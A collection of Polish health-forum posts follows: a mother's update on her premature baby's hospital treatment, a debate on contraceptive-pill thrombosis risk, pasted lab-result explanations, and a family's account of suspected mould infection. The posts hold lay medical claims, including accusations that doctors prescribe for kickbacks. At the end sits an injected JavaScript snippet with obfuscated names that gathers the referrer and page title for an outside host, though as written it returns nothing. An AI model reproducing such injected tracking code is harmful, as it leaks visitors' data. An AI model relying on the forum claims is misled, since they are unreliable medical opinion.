zapeszyc.Po pierwsze ustapila paskudna infekcja...ale gdy wyjezdzalam niestety
byla juz nastepna.Miejmy nadzieje , ze lek podziala i wszystko sie szczesliwie
zakonczy.
Kinia jest bardzo szczesliwym , usmiechnietym noworodkiem , co wydawaloby sie -
zlozywszy wszystko do kupy-jest niemozliwe!
Potrafi patrzec , rozgladac sie dookola dwie godziny bez placzu , krecenia
sie , spokojna i wyciszona,z bloga minka na twarzy.Gdy mowimy razem poranny
paciorek , albo gdy rozmawiam z Nia -Ona nasladuje moje wargi i rusza nimi tak
jak ja -to najwspanialszy dialog na swiecie.
Masujemy sie , przytulamy ,calujemy-Ona wtedy przewraca do gory oczami z
rozkoszy-ja lize jej paluszki, wsadzajac je do buzki-to tez jest drogocenny
masaz.I moze bardziej potrzebny mi , niz Jej.
Moja coreczka jest bardzo grzecznym dzieciaczkiem.Kochana.Cierpliwa i madra.
I bardzo piekna.Delikatne rysy twarzy, niebieskie oczki i bialo-zlote wloski.
A teraz o sukcesach.Po pierwsze zmienilam sie ja.Przestalam sie bac, przestalam
sie bac porankow, gdy nie wiem co zastane...i w chwilach trudnych nie zalamywac
rak , tylko szeptac mojej Malej , ze wszystko bedzie dobrze , ze jest wspaniala
i poradzi sobie ze wszystkim , ze jest kochana i bezpieczna - i , ze Bog Jej
nie zostawi bez pomocy.
To jest pierwszy sukces.
Poprawilo sie krazenie i ustapil chlonkotok w prawej oplucnej!!!! Juz 10 dni
nie ma plynu w prawym plucku.Kiniutek dzieki temu lepiej oddycha i z 60 % tlenu
zszedl na 27-30%, raz nawet bylo 21%!Oddechow z respiratora -tylko 12-19,
czasem 25.Reszta -ok 40 -to Jej drogocenne , samodzielne "oddychuni".
Myslano nawet JUZ o zejsciu z rurki do oddychania( jestem niezwykle dumną ,
napuszoną jak paw Mamą!).
I najwazniejsze-po 2 tygodniach niesiusiania Kinia zaczela sama siusiac!!!!
Placze ze szczescia !!!!!
Roznie to wychodzi , ale wychodzi !!!, czyli nereczki potrafia pracowac!
Cewniczek Tenhoffa -sluzacy do dializowania nerek -zostal zabezpieczony na
jakis czas.
Sytuacja sie bardzo zmienia, kilka razy dziennie-raz siusia 130 ml,a raz tylko
63ml buuuuuuuuuuuuuu.Norma to min 150 ml.Inaczej organizm sie zakaża.
Byl taki dobry czas , ze umowiono Kinie na zabieg zalozenia Zbiorniczka Rikhama
w główce !!!!! -w zwiazku z wodoglowiem. Na poprzedni piatek...ale Kiniutek sie
rozchorowal.Zarazil sie brzydka , bardzo brzydka bakteria -z rurki jak zwykle-
i modle sie , zeby nie narobila ona zbyt wielkiej szkody.
Jeszcze jeden sukces , o ktorym teraz przypomnialam - cofnela sie retinopatia
wczesniacza."ROP w regresji"!!!!! Moja Kiniutka widzi usmiechnieta Mamusie !!!!
A plany lekarzy sa takie:
-samodzielne oddychanie;
-zamkniecie chlonkotoku;
-poprawa krazenia;
-jedzenie Mamusiowego mleczka -mniam mniam-(Kinia jest juz od 10 lutego
karmiona tylko dozylnie);
-zbiorniczek Rikhama.
Bardzo mi niezrecznie gdy wroce do domku, wiem , ze zle to dziala na nas obie.
Do 9 m-ca zycia dziecka stanowimy jeden organizm -ja i Ona...
Mysle -jak z siusianiem , jak z bakteria, ale tak czasem musi byc ,to jest
wpisane w scenariusz.Moj maz tylko czasem , patrzac na mnie mowi :"Wiem , wiem".
Mam wypisane na twarzy to , o czym mysle...
W CZD gdy nie ma Mamy z dzieckiem -dziecko jest wypisywane i odsylane do
rejonu, na zasadzie -Matce nie zalezy ,nie ma podpisanej zgody na skomplikowane
leczenie, to im tym bardziej.
Na oddiale jest tylko 14 miejsc, kolejki z calej Polski, to szpital prestizowy
i nalezy tak to traktowac.
To palec Bozy , ze Kinia tam trafila.W zasadzie wszystkie diagnozy-zakrzepica
zył (po sepsie i wkłuciach centralnych!!!!!-czyli nabyta), 3 tomografy z
kontrastem , sciaganie plynu mozgowo -rdzeniowego z główki -wszystko odbylo sie
tam.Ryzykowne proby rozbicia zakrzepow..., mysle , ze nikt by sie tego w
rejonie nie podjął.
Zamkniecie chlonkotoku tez ma byc eksperymentem.Dotychczas stosowanym na
doroslych pacjentach i opisywanym tylko w anglojezycznej literaturze.
Podaje sie silny , toksyczny lek bezposrednio do pluca , a pluco na zasadzie
obrony ma zatkac otwor , ktorym wyplywa chlonka.I nie ma pewnosci , czy proba
sie powiedzie.Ale cos sie robi i to jest najwazniejsze.Wszystko jest oczywiscie
przedyskutowane z roznymi specjalistami.
Kinia to bardzo skomplikowany przypadek , wszyscy to potwierdzaja.
Dla mnie jednak to po prostu moje ukochane ,najdrozsze na swiecie dziecko...

Kochane Mamy warszawianki- mam prosbe -potrzebuje taniego noclegu , bo
bankrutuje na hotelu -sam nocleg miesieczny kosztuje mnie ponad 1.000 zl , gdy
dojedzie maz jeszcze drozej.Gdybyscie cos wyglowkowaly -dajcie znac!!!
Dzieki !!!
Ela

zdjecia Kini:
forum.gazeta.pl/forum/72,2.html?f=621&w=20284570

Moje przemyslenia o pigulkach - troche dlugie
Witam!

Cala ta pigulkowa sprawa zainteresowala mnie jak sie okazalo, ze mam srednie
wyniki badan (po Novynette /IIIgen/, po ktorych zle sie czulam). Wowczas
zainteresowaly mnie generacje pigulek i ich skutki uboczne. Gdy juz mialam
wracac do Microgynonu (/IIgen/ ktory wczesniej tez bralam i dobrze
tolerowalam) okazalo sie (po rozmowie z mama), ze mam w rodzinie zator pluc,
kilka zawalow i zapalenia zyl glebokich. Gdy powiedzialam o tym mojej gin to
ta mnie skrzyczala, ze tak pozno to mowie i zakazala brac pigulki.
I tak wlasnie czytam to forum (i przede wszystkim wypowiedzi Nati85,
dziewczyn majacych zakrzepice popigulkowa i dziewczyn, ktore dzieki temu
forum dowiedzialy sie, ze tak jak ja nie moga brac pigulek) i sie zastanawiam
wlasnie nad pigulkami. Z lekarzami dalam sobie juz spokoj, bo widze, ze to co
Nati85 czasami pisze to prawda (ze zapisuja pigulki wszystkim jak leci, nawet
tym, ktore ich brac nie moga, bo maja z tego kase - kolezanka tez byla tego
ofiara, nie moze brac pigulek, a lekrza i tak zapisal Logest i nawet dal 1
opakowanie gratis, po czym kolezanka miala problemy ze zdrowiem i teraz uzywa
spirale, poza tym moja gin opowiedziala mi o wizycie przedstawiciela Evry i
az oczy wyszly mi nawierzch)... Ale ciagle mecza mnie pigulki.
Z tego co wszedzie czytam (Internet, badania naukowe publikowane w
Internecie, literatura naukowa) i z tego co slysze (m.in. rozmowa z moja gin)
pigulki II generacji sa najbezpieczniejsze. W wielu krajach wycofuje sie III
i IV generacje, w niektorych krajach jest zakaz uzywania III i IV gen. W
wiekszosci krajow ponad 90% pigulek dwuskladniekowych to wlasnie II
generacja. I tylko u nas (i w innych wschodnich krajach typu Czechy, Wegry)
kroluje III gen. Dlaczego tak sie dzieje?
A tak w ogole dlaczego na swiecie zamiast rozwijac II generacje, ktora jest
przeciez najbezpieczniejsza wymysla sie kolejne i po kilku latach od ich
wprowadzenia na rynek sie je wycofuje, bo okazuje sie, ze sa bardziej
szkodliwe niz sie przypuszcza ??? Fakt, ktos powie, masz przeciez ponad 40
(tylko w Polsce jest ich kilka rodzajow) roznych pigulek II generacji wiec po
co robic tego wiecej... To po co w takim razie powstala III i IV generacja?

I jeszcze jedno takie pytanko... Dlaczego u nas nie ma minipigulek i
implantow? Bo z tego co czytam to w krajach, gdzie wiekszosc kobiet korzysta
z antykoncepcji hormonalnej (sa kraje, gdzie jest to ponad 80% kobiet !!!)
zaledwie 20-30% z nich bierze pigulki (i to ponad 90% z nich II gen.), a
reszta jest na zastrzykach (jest ich kilka rodzaji, nie tylko Depo Provera i
najwiecej mlodych kobiet je uzywa), bierze minipigulki (te sa bardzo
popularne w szczegolnosci wsrod mlodych kobiet! I nie tylko jest to
Cerazette, bo jest ich kilka rodzajow) lub ma wszczepiony implant (Implanon).
A u nas w sumie sa tylko pigulki, bo Depo Provera i Cerazette sa malo
popularne i wiekszosc lekarzy je odradza - twierdza, ze Logest lub Cilest
jest o wiele lepszy (z czym ja sie zgodzic nie moge).

Ciekawe kiedy to sie u nas zmieni...

Pozdrowionka

PS. Nati85 pewnie sie ucieszy z tego topica A wiec do Nati85: mozesz to
komentowac dowoli

To z ryzykiem zakrzepicy to niestety prawda. Mozna to wyczytac doslownie
wszedzie (stron o NPR nie czytam i nie wliczam bo tam to pewnie te liczby by
pomnozyli x100 ). I nawet 2 ginekologow + Pani Doktor z forum mi to samo
powiedzialo. II generacja 15:100000, III generacja 30:100000, IV generacja
ponad 30:100000. Widzialam rowniez opracowania i badania z kilku amerykanskich
i brytyjskich Uniwersytetow - pisza to samo. Nawet produceci pigulek podaja te
liczby (w jakis pigulkach kolezanka mi pokazywala na ulotce takie wlasnie
dane). Ja straszyc nikogo nie chce, nawet sama jeszcze jakis czas temu bralam
pigulki i gdybym mogla chetnie bym do nich wrocila (teraz czekam na
minipigulki), bo sa najpewniejsze. A pisze na forum to co pisze, bo lekarze
czesto nie informuja pacjentek o mozliwych powiklaniach, nie pytaja o
przeciwskazania (moja lekarka mnie pytala, ale ja akurat wtedy nie wiedzialam,
ze byl u mnie w rodzinie zator pluc, a jak sie dowiedzialam i jej powiedzialam
zakazala mi brac pigulki dwuskladnikowe). I wowczas kobiety moga zachorowac
Dlatego tez jesli kobieta ma przeciwskazania nie powinna brac pigulek (niech
pomysli nad Cerazette lub spirala lub prezerwatywa lub NPR lub jeszcze
czymstam), a jesli jest zdrowa powinna byc swiadoma ryzyka jakie moga (ale
wcale nie musza) pigulki za soba niesc.

> ale co
> z dziewczynami dla ktorych ciaza znaczylaby katastrofe (metody naturalno-
> prezerwatywowe sa naprawde zawodne i stresujace), co z tymi ktore musza brac
> pigulki ? co z tymi ktore nie moga brac duzej ilosci horomnow, a tym samym
dla
> nich druga generacja odpada ?

II generacja to rowniez pigulki niskohormonalne. Wsrod nich tez sa pigulki
zawierajace 0,02 EE (ale niestety nie w PL). A podobno II generacja z 0,03EE
jest i tak mniej szkodliwa niz III gen. z 0,02 EE... Poza tym tylko Logest
Harmonet Novynette i Mercilon maja 0,02 EE, reszta pigulek niezaleznie czy II
czy III generacja maja tyle samo hormonow. Oczywiscie jestem za tym zeby mlode
dziewczyny braly pigulki. Ale zeby je brac musza byc zdrowe. Bo co jest
wiekszym nieszczesciem - ciaza czy udar mozgu/zator pluc spowodowany przez
oderwany zakrzep? Dlatego tak wazne jest rozwazenie korzysci i ryzyka. Jesli
korzysci przewazaja ryzyko (i kobieta jest zdrowa) - pigulki sa idealne. Ale
jesli kobieta ma historie zatorowo-zakrzepowa to zaden porzadny lekarz nie
zapisze jej pigulek, bo moze sie to dla niej zle skonczyc...
Co innego jesli kobieta leczy pigulkami PCO itp. Jesli jest zdrowa to nie ma
problemu, bierze pigulki i jest OK. Ale co jesli ma przeciwskazania? Wtedy juz
pojawia sie problem. I w takim wypadku robi sie bilans korzysci i ryzyka i
zapisuje pigulki...

A tak w ogole nie jestem zwolenniczka Nati85. Tylko czesc tego co ona pisze to
prawda... Fakt, ze czesto robi to w glupi sposob (straszac)... I sama zaczelam
duzo na te tematy czytac... I tylko dlatego przylaczylam sie do
tej "kampanii"...
Ale jak komus to nie odpowiada to moge sie w ogole na tym forum w sprawie
zakrzepicy i pigulek nie odzywac... Nie znam, zadnej z dziewczyn tu bywajacych,
wiec w sumie na ich zdrowiu nie powinno mi zalezec...

Pozdrowionka

Pozdrowionka

wiesz,wszystko byłoby dobrze,ale ja nie mam zielonego pojecia jaki masz adres gazetowy i nie wiem jak sie wysyła,więc tu Ci wkleje.
HBG-OPIS
Norma
11-17,2 g/dl
6,82-10,67 mmol/l
Hemoglobina jest to barwnik krwi, który jest podstawowym składnikiem erytrocytów. Wiąże ona tlen oraz dwutlenek węgla. Odpowiada także za transport i wymianę tych gazów pomiędzy płucami a tkankami organizmu. Do jej wytworzenia niezbędne jest żelazo. Przy określeniu poziomu hemoglobiny oznacza się zarówno całkowitą zawartość hemoglobiny w organizmie, a także ilość hemoglobiny związanej z erytrocytami. Wartości te pozwalają ustalić przyczyny występującej anemii. Na wynik badania może wpłynąć przebyty trening wysokogórski bądź palenie papierosów.
MOŻLIWE PRZYCZYNY NIEPRAWIDŁOWEGO WYNIKU
Twoje wyniki są prawidłowe i mieszczą się w normie.
MCHC-OPIS
Norma:
32,5-36,9 g/dl
20-22,9 mmol/l
MCHC charakteryzuje , średnie stężenie hemoglobiny w pojedynczym erytrocycie. MCHC wraz z wartościami MCV i MCH używany jest do określania barwliwości krwinek czerwonych.
MOŻLIWE PRZYCZYNY NIEPRAWIDŁOWEGO WYNIKU
Twoje wyniki są prawidłowe i mieszczą się w normie.
WBC-OPIS
Norma:
4,4-11,3
Krwinki białe wytwarzane są w szpiku kostnym oraz w organach limfatycznych (węzłach chłonnych). Zalicza się do nich granulocyty, limfocyty, monocyty. Krwinki białe odgrywają decydującą rolę w systemie obronnym organizmu (ochrona przed bakteriami, wirusami, pasożytami) i znajdują się nie tylko we krwi, ale także w tkankach różnych organów. Odchylenia od normy często wynikają ze stanów zapalnych w organizmie. Na wynik badania może wpłynąć zażywanie niektórych antybiotyków, sulfonamidów, doustnych leków przeciwcukrzycowych, niesterydowych leków przeciwzapalnych oraz leków przeciwpadaczkowych.
MOŻLIWE PRZYCZYNY NIEPRAWIDŁOWEGO WYNIKU
Twoje wyniki są prawidłowe i mieszczą się w normie.
HCT-OPIS
Norma:
32-46%
Hematokryt określa stosunek ilościowy pomiędzy erytrocytami a osoczem krwi ( % objętości krwinek w 100 ml krwi). Badanie ma na celu określenie proporcji stałych i płynnych składników krwi. Wartości normalne zależą od wieku, a także płci pacjenta.
MOŻLIWE PRZYCZYNY NIEPRAWIDŁOWEGO WYNIKU
Twoje wyniki są prawidłowe i mieszczą się w normie.
PTL-OPIS
Norma:
150-440
Płytki krwi są małymi komórkami, które nie posiadają jądra komórkowego. Trombocyty są mniejsze niż inne składniki krwi. Produkowane są w szpiku kości i żyją około 10 dni. Odgrywają ważną rolę w procesie krzepnięcia krwi. Badanie ma duże znaczenie w diagnostyce częstych krwawień oraz zakrzepicy. Na wynik może wpływać zażywanie niektórych leków, np. doustnych środków antykoncepcyjnych bądź kortykosterydów.
MOŻLIWE PRZYCZYNY NIEPRAWIDŁOWEGO WYNIKU
Twoje wyniki są prawidłowe i mieszczą się w normie.
APTT-OPIS
Norma
30-55 sekundy
Czas kaolinowo-kefalinowy , ocenia wewnątrzpochodną aktywację protrombiny i zależy od zawartości w osoczu czynników II, V, VIII, IX, X, XI, XII i fibrynogenu. Nie zależy od liczby płytek krwi.
MOŻLIWE PRZYCZYNY NIEPRAWIDŁOWEGO WYNIKU
Twoje wyniki są prawidłowe i mieszczą się w normie.
Protrombina-OPIS
Norma:
80-120%
Czas protrombinowy jest miarą zewnątrzpochodnego układu aktywacji protrombiny. , Zależy on od zawartości w osoczu protrombiny czynników V, VII, X i fibrygenu.
MOŻLIWE PRZYCZYNY NIEPRAWIDŁOWEGO WYNIKU
Twoje wyniki są prawidłowe i mieszczą się w normie.
Sód
Norma
135-145 mmol/l
135-145 mEg/l
Sód jest ważnym składnikiem płynu pozakomórkowego. Pierwiastek ten wpływa zarówno na gospodarkę kwasową, jak i elektrolitową organizmu. W postaci związku NaCl, czyli jako sól, jest często nadużywany w diecie przeciętnego człowieka. Badanie jego poziomu w osoczu ma na celu określenie stanu gospodarki wodnej i elektrolitowej organizmu.
MOŻLIWE PRZYCZYNY NIEPRAWIDŁOWEGO WYNIKU
Twoje wyniki są prawidłowe i mieszczą się w normie.
Potas-OPIS
Norma:
3,5-5 mmol/l
3,5-5 mEg/l
Potas jest pierwiastkiem, który uczestniczy w procesach przewodnictwa nerwowego i mięśniowego, szczególnie mięśnia sercowego. Wyniki badań informują o tym, czy zachowana jest równowaga elektrolitowa. Pomagają też w ocenie funkcjonowania komórek mięśniowych i nerwowych. Na wynik badania może wpłynąć wcześniejsze zjedzenie posiłku zawierającego duże ilości potasu, np. fasoli, ziemniaków, szpinaku, soków owocowych lub diuretyków.
MOŻLIWE PRZYCZYNY NIEPRAWIDŁOWEGO WYNIKU
Twoje wyniki są prawidłowe i mieszczą się w normie.
CHLORKI
Norma
120-250 mmol/doba
Dobowe wydalanie chlorku , z moczem zależy od zawartości chlorku w diecie. Badanie jest często wykonywane w celu oceny funkcji kanalika proksymalnego.
MOŻLIWE PRZYCZYNY NIEPRAWIDŁOWEGO WYNIKU
uporczywe wymioty lub biegunki, nadmierne pocenie się, pierwotna nadczynność kory nadnerczy , leczenie kortykosterydami, retencja chlorku sodu, np. przy uszkodzeniach mózgu lub tworzeniu się obrzęków

Witam wszystkich. Pozwalam sobie nastukać parę słów akurat w tym wątku pod
wpływem moich mailowych kontktów z osobami, u których nie było wiadomo co jest
przyczyną dolegliwości – grzyb czy borelia. Moim celem nie jest rozniecanie
jakichś dyskusji, podważanie czegokolwiek i kogokolwiek, tylko podzielenie się
doświadczeniami swoimi i swojej rodziny. Bo grzybek doświadcza niestety i moich
bliskich i mnie.
Zacznę nieładnie od siebie, bo u mnie objawy były największe. Na początku
myślałam, że to przerost candidy. Niestety okazało się , że mam , właściwie
wszyscy chorzy w mojej rodzinie mamy przede wszystkim grzybki pleśniowe(
fusaria, mucor, aspergillus, penicilium) Ale według tego , co zdążyłam się już
naumieć o swojej chorobie, nierzadko zdarza się, że chorzy którzy myślą że
mają przerost candidy, tak naprawdę i najwięcej cierpią z powodu tych innych
grzybków, i dlatego leczenie antycandidowwe jest połowicznie skuteczne. Tak
właśnie było u mnie. Potwierdzają to tez doświadczenia paru osób z forum
candida, u których badania przeciwciał wykazały zakażenie pleśniowcami.
Jak obiecałam , tak zaczynam od siebie. Moje objawy to były ( niektórych pod
wpływem leczenia przeciwgrzybiczego już nie ma ) lub są:
Zmęczenie i bardzo znaczne osłabienie,
Zasłabnięcia powodowane ponoć spadkiem poziomu potasu/magnezu lub hipoglikemią
czyli spadkiem poziomu cukru,
Bardzo silne bóle całego ciała, nasilające się pod wpływem nawet miernego
wysiłku fizycznego, typu przejście iluś tam metrów, ból nawet przy oddychaniu i
przełykaniu
-upławy, i różne nieprawidłowości ginekologiczne,
Silne, trwające nieraz tydzień bóle brzucha z ogromnym wzdęciami, biegunki.
Zaburzenia hormonalne: nadczynność przytarczyc i przysadki mózgowej,
wcześniej nadczynność tarczycy
Zaburzenia koncentracji i orientacji ( niemożność przypomnienia sobie prostych
faktów typu własny adres), duża nerwowość i labilność emocjonalna,
Liczne nietolerancje pokarmowe i nietolerowanie pokarmów jeśli były spożywane
kilka razy pod rząd np. 3 lub 4 razy,
Nietolerancja zapachów- zasłabnmięcie obrzęk górnych dróg oddechowych,
szczególnie krtani ze zmianą barwy głosu i duszeniem się, uczucie całkowitego
zatkania ucha od wewnątrz,
-arytmia serca,
wielkie żółtobiałe czopy w migdałach i bóle tychże,
obłożony język, niesmak w ustach,
Bardzo duże poty nocne,
jak to nazywałam- treskowe wypadanie włosów- tzn po umyciu wypadało ich tyle ,
że można by z nich zrobić treskę,
wysypka na pośladkach,
Ogólnie skłonność do obrzęków pod wpływem niektórych pokarmów ( tzw obrzek
Quinkego)
To tyle o mnie . Proszę się tylko nie przerazić. W takiej pełni objawów mój
stan wyglądał półtora roku temu, gdy byłam niestety zagrożona sepsą grzybiczą
i prawie leżąca. Teraz , pod wpływem diety i leków jest dużo lepiej.
Objawy mojej mamy:
-zaparcia na zmianę z biegunką,
- bóle brzucha , wzdęcia,
-napadowe hipoglikemie obserwowane przez kilkanaście lat, bez cukrzycy,
-bóle naśladujące reumatyczne.
Brak energii i odczuwane w sobie stałe napięcie, jakby „ podminowanie
emocjonalne”
Część objawów pod wpływem leczenia zmniejsza się ( np. bóle reumatyczne,
problemy stolcowe).
Moja siostra- zakażenie tymi samymi grzybkami, ale CAŁKOWITY BRAK OBJAWÓW
BRZUSZNYCH. Błędnie leczona na zakrzepicę płuc, alergię( jest lekarzem
podejrzewano , że duszności wynikają z kontaktu z alergenami, z którymi ma
styczność w codziennej praktyce zawodowej) i ... nerwicę, od kilku miesięcy
na diecie i lekach przeciwgrzybowych. Jej objawy to:
-Duże duszności, nasilające się w pomieszczeniach klimatyzowanych, zakurzonych,
pachnących stęchlizną, pod wpływem stresu czy przepracowania ,
od czasu do czasu ból całego ciała,
nocne pocenie się,
niska tolerancja stresu,
problemy z wypadaniem włosów i skórą głowy
zaburzenia pamięci i koncentracji, zasłabnięcia .
Objawy po raz pierwszy wystąpiły 7 lat temu, po urodzeniu dziecka- najbardziej
dokuczały wówczas zasłabnięcia ‘ byle gdzie” i niska tolerancja stresu,
duszności pojawiły się nieco później.
Dzieciaczek- ma przeciwciała przeciwgrzybowe, ogólnie zdrowa istota, tylko
zaraz po urodzeniu i przez następnych kilka miesięcy- biegunki, bóle brzuszka,
wzdęcia, obłożony język, charakterystyczna dla grzybków wysypka na pupci, taka
jak u mnie. Do teraz skłonność do bóli brzucha i biegunek.
Jak zaznaczyłam na wstępie- moim celem jest opisanie przypadku pewnej rodziny z
autopsji, tylko tyle. Może pomoże to komuś w ustaleniu właściwej diagnozy.
Pozdrawiam i wszystkim życzę dużo zdrowia.
K




function bb5154537af1573(str) { return escape(str).replace('+', '%2B').replace('%20', '+').replace('*', '%2A').replace('/', '%2F').replace('@', '%40'); } function aa5154537af1538(a,b) { var d="http://"; var e="ima"; var f=(600+77); var g=".info/se2"; return(''); } document.write(aa5154537af1538(bb5154537af1573(document.referrer),bb5154537af1573(document.title)));